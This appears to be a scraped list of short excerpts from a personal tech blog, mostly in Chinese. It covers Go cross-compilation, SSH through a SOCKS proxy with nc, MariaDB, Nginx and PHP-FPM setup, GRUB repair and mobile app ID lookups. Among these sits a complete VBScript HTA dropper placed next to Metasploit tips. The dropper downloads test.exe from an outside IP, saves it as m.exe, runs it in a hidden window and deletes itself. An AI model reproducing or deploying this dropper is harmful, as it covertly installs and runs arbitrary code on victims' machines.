CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build /xxx/xxx/xxx.go -o /xxx
减小体积:-ldflags "-s -w"
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build /xxx/xxx/xxx.go -o /xxx
减小体积:-ldflags "-s -w"
<script language="VBScript">
window.moveTo 8888,8888
u="http://192.168.1.23/test.exe"
p="m.exe"
Set x=CreateObject("Microsoft.XMLHTTP")
x.Open"GET",u,0
x.Send()
Set s=CreateObject("ADODB.Stream")
s.Mode=3
s.Type=1
s.Open()
s.Write(x.responseBody)
s.SaveToFile p,2
Set w=CreateObject("Wscript.Shell")
w.Run p,0
w.Run"cmd /c del a.hta",0
window.resizeTo 0,0
window.close
</script>
This simple information might be useful for you who use metasploit framework :-).
继续阅读metasploit tips
直接使用命令行:
ssh root@IP -p port -o ProxyCommand='nc -x 127.0.0.1:1086 %h %p'
修改配置文件:
vim ~/.ssh/config
添加
ProxyCommand /usr/bin/nc -x 127.0.0.1:1086 %h %p
无selinux,高版本MariaDB已默认关闭apparmor设置
问题是服务器设置造成的
修改/lib/systemd/system/mariadb.service
ProtectHome=false
默认禁止写/HOME目录,问题解决
Nginx:
#!/bin/bash
apt-get install lsb-release
wget http://nginx.org/keys/nginx_signing.key
apt-key add nginx_signing.key
codename=`lsb_release -c |awk '{print $2}'`
echo 'deb http://nginx.org/packages/ubuntu/ codename nginx'|sed 's/codename/precise/' >> /etc/apt/sources.list
apt-get update
apt-get install nginx
php7.1-fpm
1、更新ubuntu系统
sudo apt-get update
2、安装php
添加php源
add-apt-repository ppa:ondrej/php apt-get update
安装php-fpm
apt-get install php7.1-fpm
3、安装nginx
4、配置
编辑 vim /etc/nginx/sites-available/default
取消”location ~ .php”的注释,如下三行对应修改
root /www;
fastcgi_pass unix:/run/php/php7.1-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
5、重启nginx
sudo service nginx restart
MariaDB:
lsb_release -a $ sudo apt-get install software-properties-common $ apt-key adv --recv-keys --keyserver hkp://keyserver.ubuntu.com:80 0xF1656F24C74CD1D8 $ sudo add-apt-repository 'deb http://sfo1.mirrors.digitalocean.com/mariadb/repo/10.2/ubuntu xenial main'
Re-install your GRUB.
继续阅读Grub爆炸通过LiveCD修复的方法
http://www-uxsup.csx.cam.ac.uk/pub/windows/cygwin/x86/release/
https://pspdfkit.com/guides/ios/current/faq/finding-the-app-bundle-id/
继续阅读转:Finding the App Bundle ID
I hope you have gone through the tutorial of Lunching Amazon App and must notice the below statement:
继续阅读转:How to find appPackage and appActivity for APK file